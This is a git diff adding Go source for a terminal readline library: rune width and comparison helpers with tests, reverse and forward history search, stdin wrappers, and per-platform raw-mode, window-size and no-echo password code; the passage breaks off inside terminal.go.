b/readline/runes.go new file mode 100644 index 0000000..a669bc4 --- /dev/null +++ b/readline/runes.go @@ -0,0 +1,223 @@ +package readline + +import ( + "bytes" + "unicode" + "unicode/utf8" +) + +var runes = Runes{} +var TabWidth = 4 + +type Runes struct{} + +func (Runes) EqualRune(a, b rune, fold bool) bool { + if a == b { + return true + } + if !fold { + return false + } + if a > b { + a, b = b, a + } + if b < utf8.RuneSelf && 'A' <= a && a <= 'Z' { + if b == a+'a'-'A' { + return true + } + } + return false +} + +func (r Runes) EqualRuneFold(a, b rune) bool { + return r.EqualRune(a, b, true) +} + +func (r Runes) EqualFold(a, b []rune) bool { + if len(a) != len(b) { + return false + } + for i := 0; i < len(a); i++ { + if r.EqualRuneFold(a[i], b[i]) { + continue + } + return false + } + + return true +} + +func (Runes) Equal(a, b []rune) bool { + if len(a) != len(b) { + return false + } + for i := 0; i < len(a); i++ { + if a[i] != b[i] { + return false + } + } + return true +} + +func (rs Runes) IndexAllBckEx(r, sub []rune, fold bool) int { + for i := len(r) - len(sub); i >= 0; i-- { + found := true + for j := 0; j < len(sub); j++ { + if !rs.EqualRune(r[i+j], sub[j], fold) { + found = false + break + } + } + if found { + return i + } + } + return -1 +} + +// Search in runes from end to front +func (rs Runes) IndexAllBck(r, sub []rune) int { + return rs.IndexAllBckEx(r, sub, false) +} + +// Search in runes from front to end +func (rs Runes) IndexAll(r, sub []rune) int { + return rs.IndexAllEx(r, sub, false) +} + +func (rs Runes) IndexAllEx(r, sub []rune, fold bool) int { + for i := 0; i < len(r); i++ { + found := true + if len(r[i:]) < len(sub) { + return -1 + } + for j := 0; j < len(sub); j++ { + if !rs.EqualRune(r[i+j], sub[j], fold) { + found = false + break + } + } + if found { + return i + } + } + return -1 +} + +func (Runes) Index(r rune, rs []rune) int { + for i := 0; i < len(rs); i++ { + if rs[i] == r { + return i + } + } + return -1 +} + +func (Runes) ColorFilter(r []rune) []rune { + newr := make([]rune, 0, len(r)) + for pos := 0; pos < len(r); pos++ { + if r[pos] == '\033' && r[pos+1] == '[' { + idx := runes.Index('m', r[pos+2:]) + if idx == -1 { + continue + } + pos += idx + 2 + continue + } + newr = append(newr, r[pos]) + } + return newr +} + +var zeroWidth = []*unicode.RangeTable{ + unicode.Mn, + unicode.Me, + unicode.Cc, + unicode.Cf, +} + +var doubleWidth = []*unicode.RangeTable{ + unicode.Han, + unicode.Hangul, + unicode.Hiragana, + unicode.Katakana, +} + +func (Runes) Width(r rune) int { + if r == '\t' { + return TabWidth + } + if unicode.IsOneOf(zeroWidth, r) { + return 0 + } + if unicode.IsOneOf(doubleWidth, r) { + return 2 + } + return 1 +} + +func (Runes) WidthAll(r []rune) (length int) { + for i := 0; i < len(r); i++ { + length += runes.Width(r[i]) + } + return +} + +func (Runes) Backspace(r []rune) []byte { + return bytes.Repeat([]byte{'\b'}, runes.WidthAll(r)) +} + +func (Runes) Copy(r []rune) []rune { + n := make([]rune, len(r)) + copy(n, r) + return n +} + +func (Runes) HasPrefixFold(r, prefix []rune) bool { + if len(r) < len(prefix) { + return false + } + return runes.EqualFold(r[:len(prefix)], prefix) +} + +func (Runes) HasPrefix(r, prefix []rune) bool { + if len(r) < len(prefix) { + return false + } + return runes.Equal(r[:len(prefix)], prefix) +} + +func (Runes) Aggregate(candicate [][]rune) (same []rune, size int) { + for i := 0; i < len(candicate[0]); i++ { + for j := 0; j < len(candicate)-1; j++ { + if i >= len(candicate[j]) || i >= len(candicate[j+1]) { + goto aggregate + } + if candicate[j][i] != candicate[j+1][i] { + goto aggregate + } + } + size = i + 1 + } +aggregate: + if size > 0 { + same = runes.Copy(candicate[0][:size]) + for i := 0; i < len(candicate); i++ { + n := runes.Copy(candicate[i]) + copy(n, n[size:]) + candicate[i] = n[:len(n)-size] + } + } + return +} + +func (Runes) TrimSpaceLeft(in []rune) []rune { + firstIndex := len(in) + for i, r := range in { + if unicode.IsSpace(r) == false { + firstIndex = i + break + } + } + return in[firstIndex:] +} diff --git a/readline/runes/runes.go b/readline/runes/runes.go new file mode 100644 index 0000000..b069440 --- /dev/null +++ b/readline/runes/runes.go @@ -0,0 +1,155 @@ +// deprecated. +// see https://github.com/chzyer/readline/issues/43 +// use github.com/chzyer/readline/runes.go +package runes + +import ( + "bytes" + "unicode" +) + +func Equal(a, b []rune) bool { + if len(a) != len(b) { + return false + } + for i := 0; i < len(a); i++ { + if a[i] != b[i] { + return false + } + } + return true +} + +// Search in runes from end to front +func IndexAllBck(r, sub []rune) int { + for i := len(r) - len(sub); i >= 0; i-- { + found := true + for j := 0; j < len(sub); j++ { + if r[i+j] != sub[j] { + found = false + break + } + } + if found { + return i + } + } + return -1 +} + +// Search in runes from front to end +func IndexAll(r, sub []rune) int { + for i := 0; i < len(r); i++ { + found := true + if len(r[i:]) < len(sub) { + return -1 + } + for j := 0; j < len(sub); j++ { + if r[i+j] != sub[j] { + found = false + break + } + } + if found { + return i + } + } + return -1 +} + +func Index(r rune, rs []rune) int { + for i := 0; i < len(rs); i++ { + if rs[i] == r { + return i + } + } + return -1 +} + +func ColorFilter(r []rune) []rune { + newr := make([]rune, 0, len(r)) + for pos := 0; pos < len(r); pos++ { + if r[pos] == '\033' && r[pos+1] == '[' { + idx := Index('m', r[pos+2:]) + if idx == -1 { + continue + } + pos += idx + 2 + continue + } + newr = append(newr, r[pos]) + } + return newr +} + +var zeroWidth = []*unicode.RangeTable{ + unicode.Mn, + unicode.Me, + unicode.Cc, + unicode.Cf, +} + +var doubleWidth = []*unicode.RangeTable{ + unicode.Han, + unicode.Hangul, + unicode.Hiragana, + unicode.Katakana, +} + +func Width(r rune) int { + if unicode.IsOneOf(zeroWidth, r) { + return 0 + } + if unicode.IsOneOf(doubleWidth, r) { + return 2 + } + return 1 +} + +func WidthAll(r []rune) (length int) { + for i := 0; i < len(r); i++ { + length += Width(r[i]) + } + return +} + +func Backspace(r []rune) []byte { + return bytes.Repeat([]byte{'\b'}, WidthAll(r)) +} + +func Copy(r []rune) []rune { + n := make([]rune, len(r)) + copy(n, r) + return n +} + +func HasPrefix(r, prefix []rune) bool { + if len(r) < len(prefix) { + return false + } + return Equal(r[:len(prefix)], prefix) +} + +func Aggregate(candicate [][]rune) (same []rune, size int) { + for i := 0; i < len(candicate[0]); i++ { + for j := 0; j < len(candicate)-1; j++ { + if i >= len(candicate[j]) || i >= len(candicate[j+1]) { + goto aggregate + } + if candicate[j][i] != candicate[j+1][i] { + goto aggregate + } + } + size = i + 1 + } +aggregate: + if size > 0 { + same = Copy(candicate[0][:size]) + for i := 0; i < len(candicate); i++ { + n := Copy(candicate[i]) + copy(n, n[size:]) + candicate[i] = n[:len(n)-size] + } + } + return +} diff --git a/readline/runes/runes_test.go b/readline/runes/runes_test.go new file mode 100644 index 0000000..b7a1412 --- /dev/null +++ b/readline/runes/runes_test.go @@ -0,0 +1,68 @@ +package runes + +import ( + "reflect" + "testing" +) + +type twidth struct { + r []rune + length int +} + +func TestRuneWidth(t *testing.T) { + runes := []twidth{ + {[]rune("☭"), 1}, + {[]rune("a"), 1}, + {[]rune("你"), 2}, + {ColorFilter([]rune("☭\033[13;1m你")), 3}, + } + for _, r := range runes { + if w := WidthAll(r.r); w != r.length { + t.Fatal("result not expect", r.r, r.length, w) + } + } +} + +type tagg struct { + r [][]rune + e [][]rune + length int +} + +func TestAggRunes(t *testing.T) { + runes := []tagg{ + { + [][]rune{[]rune("ab"), []rune("a"), []rune("abc")}, + [][]rune{[]rune("b"), []rune(""), []rune("bc")}, + 1, + }, + { + [][]rune{[]rune("addb"), []rune("ajkajsdf"), []rune("aasdfkc")}, + [][]rune{[]rune("ddb"), []rune("jkajsdf"), []rune("asdfkc")}, + 1, + }, + { + [][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")}, + [][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")}, + 0, + }, + { + [][]rune{[]rune("ddb"), []rune("ddajksdf"), []rune("ddaasdfkc")}, + [][]rune{[]rune("b"), []rune("ajksdf"), []rune("aasdfkc")}, + 2, + }, + } + for _, r := range runes { + same, off := Aggregate(r.r) + if off != r.length { + t.Fatal("result not expect", off) + } + if len(same) != off { + t.Fatal("result not expect", same) + } + if !reflect.DeepEqual(r.r, r.e) { + t.Fatal("result not expect") + } + } +} diff --git a/readline/runes_test.go b/readline/runes_test.go new file mode 100644 index 0000000..9c56d79 --- /dev/null +++ b/readline/runes_test.go @@ -0,0 +1,68 @@ +package readline + +import ( + "reflect" + "testing" +) + +type twidth struct { + r []rune + length int +} + +func TestRuneWidth(t *testing.T) { + rs := []twidth{ + {[]rune("☭"), 1}, + {[]rune("a"), 1}, + {[]rune("你"), 2}, + {runes.ColorFilter([]rune("☭\033[13;1m你")), 3}, + } + for _, r := range rs { + if w := runes.WidthAll(r.r); w != r.length { + t.Fatal("result not expect", r.r, r.length, w) + } + } +} + +type tagg struct { + r [][]rune + e [][]rune + length int +} + +func TestAggRunes(t *testing.T) { + rs := []tagg{ + { + [][]rune{[]rune("ab"), []rune("a"), []rune("abc")}, + [][]rune{[]rune("b"), []rune(""), []rune("bc")}, + 1, + }, + { + [][]rune{[]rune("addb"), []rune("ajkajsdf"), []rune("aasdfkc")}, + [][]rune{[]rune("ddb"), []rune("jkajsdf"), []rune("asdfkc")}, + 1, + }, + { + [][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")}, + [][]rune{[]rune("ddb"), []rune("ajksdf"), []rune("aasdfkc")}, + 0, + }, + { + [][]rune{[]rune("ddb"), []rune("ddajksdf"), []rune("ddaasdfkc")}, + [][]rune{[]rune("b"), []rune("ajksdf"), []rune("aasdfkc")}, + 2, + }, + } + for _, r := range rs { + same, off := runes.Aggregate(r.r) + if off != r.length { + t.Fatal("result not expect", off) + } + if len(same) != off { + t.Fatal("result not expect", same) + } + if !reflect.DeepEqual(r.r, r.e) { + t.Fatal("result not expect") + } + } +} diff --git a/readline/search.go b/readline/search.go new file mode 100644 index 0000000..52e8ff0 --- /dev/null +++ b/readline/search.go @@ -0,0 +1,164 @@ +package readline + +import ( + "bytes" + "container/list" + "fmt" + "io" +) + +const ( + S_STATE_FOUND = iota + S_STATE_FAILING +) + +const ( + S_DIR_BCK = iota + S_DIR_FWD +) + +type opSearch struct { + inMode bool + state int + dir int + source *list.Element + w io.Writer + buf *RuneBuffer + data []rune + history *opHistory + cfg *Config + markStart int + markEnd int + width int +} + +func newOpSearch(w io.Writer, buf *RuneBuffer, history *opHistory, cfg *Config, width int) *opSearch { + return &opSearch{ + w: w, + buf: buf, + cfg: cfg, + history: history, + width: width, + } +} + +func (o *opSearch) OnWidthChange(newWidth int) { + o.width = newWidth +} + +func (o *opSearch) IsSearchMode() bool { + return o.inMode +} + +func (o *opSearch) SearchBackspace() { + if len(o.data) > 0 { + o.data = o.data[:len(o.data)-1] + o.search(true) + } +} + +func (o *opSearch) findHistoryBy(isNewSearch bool) (int, *list.Element) { + if o.dir == S_DIR_BCK { + return o.history.FindBck(isNewSearch, o.data, o.buf.idx) + } + return o.history.FindFwd(isNewSearch, o.data, o.buf.idx) +} + +func (o *opSearch) search(isChange bool) bool { + if len(o.data) == 0 { + o.state = S_STATE_FOUND + o.SearchRefresh(-1) + return true + } + idx, elem := o.findHistoryBy(isChange) + if elem == nil { + o.SearchRefresh(-2) + return false + } + o.history.current = elem + + item := o.history.showItem(o.history.current.Value) + start, end := 0, 0 + if o.dir == S_DIR_BCK { + start, end = idx, idx+len(o.data) + } else { + start, end = idx, idx+len(o.data) + idx += len(o.data) + } + o.buf.SetWithIdx(idx, item) + o.markStart, o.markEnd = start, end + o.SearchRefresh(idx) + return true +} + +func (o *opSearch) SearchChar(r rune) { + o.data = append(o.data, r) + o.search(true) +} + +func (o *opSearch) SearchMode(dir int) bool { + if o.width == 0 { + return false + } + alreadyInMode := o.inMode + o.inMode = true + o.dir = dir + o.source = o.history.current + if alreadyInMode { + o.search(false) + } else { + o.SearchRefresh(-1) + } + return true +} + +func (o *opSearch) ExitSearchMode(revert bool) { + if revert { + o.history.current = o.source + o.buf.Set(o.history.showItem(o.history.current.Value)) + } + o.markStart, o.markEnd = 0, 0 + o.state = S_STATE_FOUND + o.inMode = false + o.source = nil + o.data = nil +} + +func (o *opSearch) SearchRefresh(x int) { + if x == -2 { + o.state = S_STATE_FAILING + } else if x >= 0 { + o.state = S_STATE_FOUND + } + if x < 0 { + x = o.buf.idx + } + x = o.buf.CurrentWidth(x) + x += o.buf.PromptLen() + x = x % o.width + + if o.markStart > 0 { + o.buf.SetStyle(o.markStart, o.markEnd, "4") + } + + lineCnt := o.buf.CursorLineCount() + buf := bytes.NewBuffer(nil) + buf.Write(bytes.Repeat([]byte("\n"), lineCnt)) + buf.WriteString("\033[J") + if o.state == S_STATE_FAILING { + buf.WriteString("failing ") + } + if o.dir == S_DIR_BCK { + buf.WriteString("bck") + } else if o.dir == S_DIR_FWD { + buf.WriteString("fwd") + } + buf.WriteString("-i-search: ") + buf.WriteString(string(o.data)) // keyword + buf.WriteString("\033[4m \033[0m") // _ + fmt.Fprintf(buf, "\r\033[%dA", lineCnt) // move prev + if x > 0 { + fmt.Fprintf(buf, "\033[%dC", x) // move forward + } + o.w.Write(buf.Bytes()) +} diff --git a/readline/std.go b/readline/std.go new file mode 100644 index 0000000..61d44b7 --- /dev/null +++ b/readline/std.go @@ -0,0 +1,197 @@ +package readline + +import ( + "io" + "os" + "sync" + "sync/atomic" +) + +var ( + Stdin io.ReadCloser = os.Stdin + Stdout io.WriteCloser = os.Stdout + Stderr io.WriteCloser = os.Stderr +) + +var ( + std *Instance + stdOnce sync.Once +) + +// global instance will not submit history automatic +func getInstance() *Instance { + stdOnce.Do(func() { + std, _ = NewEx(&Config{ + DisableAutoSaveHistory: true, + }) + }) + return std +} + +// let readline load history from filepath +// and try to persist history into disk +// set fp to "" to prevent readline persisting history to disk +// so the `AddHistory` will return nil error forever. +func SetHistoryPath(fp string) { + ins := getInstance() + cfg := ins.Config.Clone() + cfg.HistoryFile = fp + ins.SetConfig(cfg) +} + +// set auto completer to global instance +func SetAutoComplete(completer AutoCompleter) { + ins := getInstance() + cfg := ins.Config.Clone() + cfg.AutoComplete = completer + ins.SetConfig(cfg) +} + +// add history to global instance manually +// raise error only if `SetHistoryPath` is set with a non-empty path +func AddHistory(content string) error { + ins := getInstance() + return ins.SaveHistory(content) +} + +func Password(prompt string) ([]byte, error) { + ins := getInstance() + return ins.ReadPassword(prompt) +} + +// readline with global configs +func Line(prompt string) (string, error) { + ins := getInstance() + ins.SetPrompt(prompt) + return ins.Readline() +} + +type CancelableStdin struct { + r io.Reader + mutex sync.Mutex + stop chan struct{} + closed int32 + notify chan struct{} + data []byte + read int + err error +} + +func NewCancelableStdin(r io.Reader) *CancelableStdin { + c := &CancelableStdin{ + r: r, + notify: make(chan struct{}), + stop: make(chan struct{}), + } + go c.ioloop() + return c +} + +func (c *CancelableStdin) ioloop() { +loop: + for { + select { + case <-c.notify: + c.read, c.err = c.r.Read(c.data) + select { + case c.notify <- struct{}{}: + case <-c.stop: + break loop + } + case <-c.stop: + break loop + } + } +} + +func (c *CancelableStdin) Read(b []byte) (n int, err error) { + c.mutex.Lock() + defer c.mutex.Unlock() + if atomic.LoadInt32(&c.closed) == 1 { + return 0, io.EOF + } + + c.data = b + select { + case c.notify <- struct{}{}: + case <-c.stop: + return 0, io.EOF + } + select { + case <-c.notify: + return c.read, c.err + case <-c.stop: + return 0, io.EOF + } +} + +func (c *CancelableStdin) Close() error { + if atomic.CompareAndSwapInt32(&c.closed, 0, 1) { + close(c.stop) + } + return nil +} + +// FillableStdin is a stdin reader which can prepend some data before +// reading into the real stdin +type FillableStdin struct { + sync.Mutex + stdin io.Reader + stdinBuffer io.ReadCloser + buf []byte + bufErr error +} + +// NewFillableStdin gives you FillableStdin +func NewFillableStdin(stdin io.Reader) (io.ReadCloser, io.Writer) { + r, w := io.Pipe() + s := &FillableStdin{ + stdinBuffer: r, + stdin: stdin, + } + s.ioloop() + return s, w +} + +func (s *FillableStdin) ioloop() { + go func() { + for { + bufR := make([]byte, 100) + var n int + n, s.bufErr = s.stdinBuffer.Read(bufR) + if s.bufErr != nil { + if s.bufErr == io.ErrClosedPipe { + break + } + } + s.Lock() + s.buf = append(s.buf, bufR[:n]...) + s.Unlock() + } + }() +} + +// Read will read from the local buffer and if no data, read from stdin +func (s *FillableStdin) Read(p []byte) (n int, err error) { + s.Lock() + i := len(s.buf) + if len(p) < i { + i = len(p) + } + if i > 0 { + n := copy(p, s.buf) + s.buf = s.buf[:0] + cerr := s.bufErr + s.bufErr = nil + s.Unlock() + return n, cerr + } + s.Unlock() + n, err = s.stdin.Read(p) + return n, err +} + +func (s *FillableStdin) Close() error { + s.stdinBuffer.Close() + return nil +} diff --git a/readline/std_windows.go b/readline/std_windows.go new file mode 100644 index 0000000..b10f91b --- /dev/null +++ b/readline/std_windows.go @@ -0,0 +1,9 @@ +// +build windows + +package readline + +func init() { + Stdin = NewRawReader() + Stdout = NewANSIWriter(Stdout) + Stderr = NewANSIWriter(Stderr) +} diff --git a/readline/term.go b/readline/term.go new file mode 100644 index 0000000..133993c --- /dev/null +++ b/readline/term.go @@ -0,0 +1,123 @@ +// Copyright 2011 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// +build darwin dragonfly freebsd linux,!appengine netbsd openbsd solaris + +// Package terminal provides support functions for dealing with terminals, as +// commonly found on UNIX systems. +// +// Putting a terminal into raw mode is the most common requirement: +// +// oldState, err := terminal.MakeRaw(0) +// if err != nil { +// panic(err) +// } +// defer terminal.Restore(0, oldState) +package readline + +import ( + "io" + "syscall" +) + +// State contains the state of a terminal. +type State struct { + termios Termios +} + +// IsTerminal returns true if the given file descriptor is a terminal. +func IsTerminal(fd int) bool { + _, err := getTermios(fd) + return err == nil +} + +// MakeRaw put the terminal connected to the given file descriptor into raw +// mode and returns the previous state of the terminal so that it can be +// restored. +func MakeRaw(fd int) (*State, error) { + var oldState State + + if termios, err := getTermios(fd); err != nil { + return nil, err + } else { + oldState.termios = *termios + } + + newState := oldState.termios + // This attempts to replicate the behaviour documented for cfmakeraw in + // the termios(3) manpage. + newState.Iflag &^= syscall.IGNBRK | syscall.BRKINT | syscall.PARMRK | syscall.ISTRIP | syscall.INLCR | syscall.IGNCR | syscall.ICRNL | syscall.IXON + // newState.Oflag &^= syscall.OPOST + newState.Lflag &^= syscall.ECHO | syscall.ECHONL | syscall.ICANON | syscall.ISIG | syscall.IEXTEN + newState.Cflag &^= syscall.CSIZE | syscall.PARENB + newState.Cflag |= syscall.CS8 + + newState.Cc[syscall.VMIN] = 1 + newState.Cc[syscall.VTIME] = 0 + + return &oldState, setTermios(fd, &newState) +} + +// GetState returns the current state of a terminal which may be useful to +// restore the terminal after a signal. +func GetState(fd int) (*State, error) { + termios, err := getTermios(fd) + if err != nil { + return nil, err + } + + return &State{termios: *termios}, nil +} + +// Restore restores the terminal connected to the given file descriptor to a +// previous state. +func restoreTerm(fd int, state *State) error { + return setTermios(fd, &state.termios) +} + +// ReadPassword reads a line of input from a terminal without local echo. This +// is commonly used for inputting passwords and other sensitive data. The slice +// returned does not include the \n. +func ReadPassword(fd int) ([]byte, error) { + oldState, err := getTermios(fd) + if err != nil { + return nil, err + } + + newState := oldState + newState.Lflag &^= syscall.ECHO + newState.Lflag |= syscall.ICANON | syscall.ISIG + newState.Iflag |= syscall.ICRNL + if err := setTermios(fd, newState); err != nil { + return nil, err + } + + defer func() { + setTermios(fd, oldState) + }() + + var buf [16]byte + var ret []byte + for { + n, err := syscall.Read(fd, buf[:]) + if err != nil { + return nil, err + } + if n == 0 { + if len(ret) == 0 { + return nil, io.EOF + } + break + } + if buf[n-1] == '\n' { + n-- + } + ret = append(ret, buf[:n]...) + if n < len(buf) { + break + } + } + + return ret, nil +} diff --git a/readline/term_bsd.go b/readline/term_bsd.go new file mode 100644 index 0000000..68b56ea --- /dev/null +++ b/readline/term_bsd.go @@ -0,0 +1,29 @@ +// Copyright 2013 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// +build darwin dragonfly freebsd netbsd openbsd + +package readline + +import ( + "syscall" + "unsafe" +) + +func getTermios(fd int) (*Termios, error) { + termios := new(Termios) + _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), syscall.TIOCGETA, uintptr(unsafe.Pointer(termios)), 0, 0, 0) + if err != 0 { + return nil, err + } + return termios, nil +} + +func setTermios(fd int, termios *Termios) error { + _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), syscall.TIOCSETA, uintptr(unsafe.Pointer(termios)), 0, 0, 0) + if err != 0 { + return err + } + return nil +} diff --git a/readline/term_linux.go b/readline/term_linux.go new file mode 100644 index 0000000..e3392b4 --- /dev/null +++ b/readline/term_linux.go @@ -0,0 +1,33 @@ +// Copyright 2013 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package readline + +import ( + "syscall" + "unsafe" +) + +// These constants are declared here, rather than importing +// them from the syscall package as some syscall packages, even +// on linux, for example gccgo, do not declare them. +const ioctlReadTermios = 0x5401 // syscall.TCGETS +const ioctlWriteTermios = 0x5402 // syscall.TCSETS + +func getTermios(fd int) (*Termios, error) { + termios := new(Termios) + _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), ioctlReadTermios, uintptr(unsafe.Pointer(termios)), 0, 0, 0) + if err != 0 { + return nil, err + } + return termios, nil +} + +func setTermios(fd int, termios *Termios) error { + _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), ioctlWriteTermios, uintptr(unsafe.Pointer(termios)), 0, 0, 0) + if err != 0 { + return err + } + return nil +} diff --git a/readline/term_nosyscall6.go b/readline/term_nosyscall6.go new file mode 100644 index 0000000..df92339 --- /dev/null +++ b/readline/term_nosyscall6.go @@ -0,0 +1,32 @@ +// Copyright 2013 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// +build aix os400 solaris + +package readline + +import "golang.org/x/sys/unix" + +// GetSize returns the dimensions of the given terminal. +func GetSize(fd int) (int, int, error) { + ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ) + if err != nil { + return 0, 0, err + } + return int(ws.Col), int(ws.Row), nil +} + +type Termios unix.Termios + +func getTermios(fd int) (*Termios, error) { + termios, err := unix.IoctlGetTermios(fd, unix.TCGETS) + if err != nil { + return nil, err + } + return (*Termios)(termios), nil +} + +func setTermios(fd int, termios *Termios) error { + return unix.IoctlSetTermios(fd, unix.TCSETSF, (*unix.Termios)(termios)) +} diff --git a/readline/term_solaris.go b/readline/term_solaris.go new file mode 100644 index 0000000..4c27273 --- /dev/null +++ b/readline/term_solaris.go @@ -0,0 +1,32 @@ +// Copyright 2013 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// +build solaris + +package readline + +import "golang.org/x/sys/unix" + +// GetSize returns the dimensions of the given terminal. +func GetSize(fd int) (int, int, error) { + ws, err := unix.IoctlGetWinsize(fd, unix.TIOCGWINSZ) + if err != nil { + return 0, 0, err + } + return int(ws.Col), int(ws.Row), nil +} + +type Termios unix.Termios + +func getTermios(fd int) (*Termios, error) { + termios, err := unix.IoctlGetTermios(fd, unix.TCGETS) + if err != nil { + return nil, err + } + return (*Termios)(termios), nil +} + +func setTermios(fd int, termios *Termios) error { + return unix.IoctlSetTermios(fd, unix.TCSETSF, (*unix.Termios)(termios)) +} diff --git a/readline/term_unix.go b/readline/term_unix.go new file mode 100644 index 0000000..d3ea242 --- /dev/null +++ b/readline/term_unix.go @@ -0,0 +1,24 @@ +// Copyright 2011 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// +build darwin dragonfly freebsd linux,!appengine netbsd openbsd + +package readline + +import ( + "syscall" + "unsafe" +) + +type Termios syscall.Termios + +// GetSize returns the dimensions of the given terminal. +func GetSize(fd int) (int, int, error) { + var dimensions [4]uint16 + _, _, err := syscall.Syscall6(syscall.SYS_IOCTL, uintptr(fd), uintptr(syscall.TIOCGWINSZ), uintptr(unsafe.Pointer(&dimensions)), 0, 0, 0) + if err != 0 { + return 0, 0, err + } + return int(dimensions[1]), int(dimensions[0]), nil +} diff --git a/readline/term_windows.go b/readline/term_windows.go new file mode 100644 index 0000000..1290e00 --- /dev/null +++ b/readline/term_windows.go @@ -0,0 +1,171 @@ +// Copyright 2011 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// +build windows + +// Package terminal provides support functions for dealing with terminals, as +// commonly found on UNIX systems. +// +// Putting a terminal into raw mode is the most common requirement: +// +// oldState, err := terminal.MakeRaw(0) +// if err != nil { +// panic(err) +// } +// defer terminal.Restore(0, oldState) +package readline + +import ( + "io" + "syscall" + "unsafe" +) + +const ( + enableLineInput = 2 + enableEchoInput = 4 + enableProcessedInput = 1 + enableWindowInput = 8 + enableMouseInput = 16 + enableInsertMode = 32 + enableQuickEditMode = 64 + enableExtendedFlags = 128 + enableAutoPosition = 256 + enableProcessedOutput = 1 + enableWrapAtEolOutput = 2 +) + +var kernel32 = syscall.NewLazyDLL("kernel32.dll") + +var ( + procGetConsoleMode = kernel32.NewProc("GetConsoleMode") + procSetConsoleMode = kernel32.NewProc("SetConsoleMode") + procGetConsoleScreenBufferInfo = kernel32.NewProc("GetConsoleScreenBufferInfo") +) + +type ( + coord struct { + x short + y short + } + smallRect struct { + left short + top short + right short + bottom short + } + consoleScreenBufferInfo struct { + size coord + cursorPosition coord + attributes word + window smallRect + maximumWindowSize coord + } +) + +type State struct { + mode uint32 +} + +// IsTerminal returns true if the given file descriptor is a terminal. +func IsTerminal(fd int) bool { + var st uint32 + r, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0) + return r != 0 && e == 0 +} + +// MakeRaw put the terminal connected to the given file descriptor into raw +// mode and returns the previous state of the terminal so that it can be +// restored. +func MakeRaw(fd int) (*State, error) { + var st uint32 + _, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0) + if e != 0 { + return nil, error(e) + } + raw := st &^ (enableEchoInput | enableProcessedInput | enableLineInput | enableProcessedOutput) + _, _, e = syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(raw), 0) + if e != 0 { + return nil, error(e) + } + return &State{st}, nil +} + +// GetState returns the current state of a terminal which may be useful to +// restore the terminal after a signal. +func GetState(fd int) (*State, error) { + var st uint32 + _, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0) + if e != 0 { + return nil, error(e) + } + return &State{st}, nil +} + +// Restore restores the terminal connected to the given file descriptor to a +// previous state. +func restoreTerm(fd int, state *State) error { + _, _, err := syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(state.mode), 0) + return err +} + +// GetSize returns the dimensions of the given terminal. +func GetSize(fd int) (width, height int, err error) { + var info consoleScreenBufferInfo + _, _, e := syscall.Syscall(procGetConsoleScreenBufferInfo.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&info)), 0) + if e != 0 { + return 0, 0, error(e) + } + return int(info.size.x), int(info.size.y), nil +} + +// ReadPassword reads a line of input from a terminal without local echo. This +// is commonly used for inputting passwords and other sensitive data. The slice +// returned does not include the \n. +func ReadPassword(fd int) ([]byte, error) { + var st uint32 + _, _, e := syscall.Syscall(procGetConsoleMode.Addr(), 2, uintptr(fd), uintptr(unsafe.Pointer(&st)), 0) + if e != 0 { + return nil, error(e) + } + old := st + + st &^= (enableEchoInput) + st |= (enableProcessedInput | enableLineInput | enableProcessedOutput) + _, _, e = syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(st), 0) + if e != 0 { + return nil, error(e) + } + + defer func() { + syscall.Syscall(procSetConsoleMode.Addr(), 2, uintptr(fd), uintptr(old), 0) + }() + + var buf [16]byte + var ret []byte + for { + n, err := syscall.Read(syscall.Handle(fd), buf[:]) + if err != nil { + return nil, err + } + if n == 0 { + if len(ret) == 0 { + return nil, io.EOF + } + break + } + if buf[n-1] == '\n' { + n-- + } + if n > 0 && buf[n-1] == '\r' { + n-- + } + ret = append(ret, buf[:n]...) + if n < len(buf) { + break + } + } + + return ret, nil +} diff --git a/readline/terminal.go b/readline/terminal.go new file mode 100644 index 0000000..38413d0 --- /dev/null +++ b/readline/terminal.go @@ -0,0 +1,254 @@ +package readline + +import ( + "bufio" + "fmt" + "io" + "strings" + "sync" + "sync/atomic" +) + +type Terminal struct { + m sync.Mutex + cfg *Config + outchan chan rune + closed int32 + stopChan chan struct{} + kickChan chan struct{} + wg sync.WaitGroup + isReading int32 + sleeping int32 + + sizeChan chan string +} + +func NewTerminal(cfg *Config) (*Terminal, error) { + if err := cfg.Init(); err != nil { + return nil, err + } + t := &Terminal{ + cfg: cfg, + kickChan: make(chan struct{}, 1), + outchan: make(chan rune), + stopChan: make(chan struct{}, 1), + sizeChan: make(chan string, 1), + } + + go t.ioloop() + return t, nil +} + +// SleepToResume will sleep myself, and return only if I'm resumed. +func (t *Terminal) SleepToResume() { + if !atomic.CompareAndSwapInt32(&t.sleeping, 0, 1) { + return + } + defer atomic.StoreInt32(&t.sleeping, 0) + + t.ExitRawMode() + ch := WaitForResume() + SuspendMe() + <-ch + t.EnterRawMode() +} + +func (t *Terminal) EnterRawMode() (err error) { + return 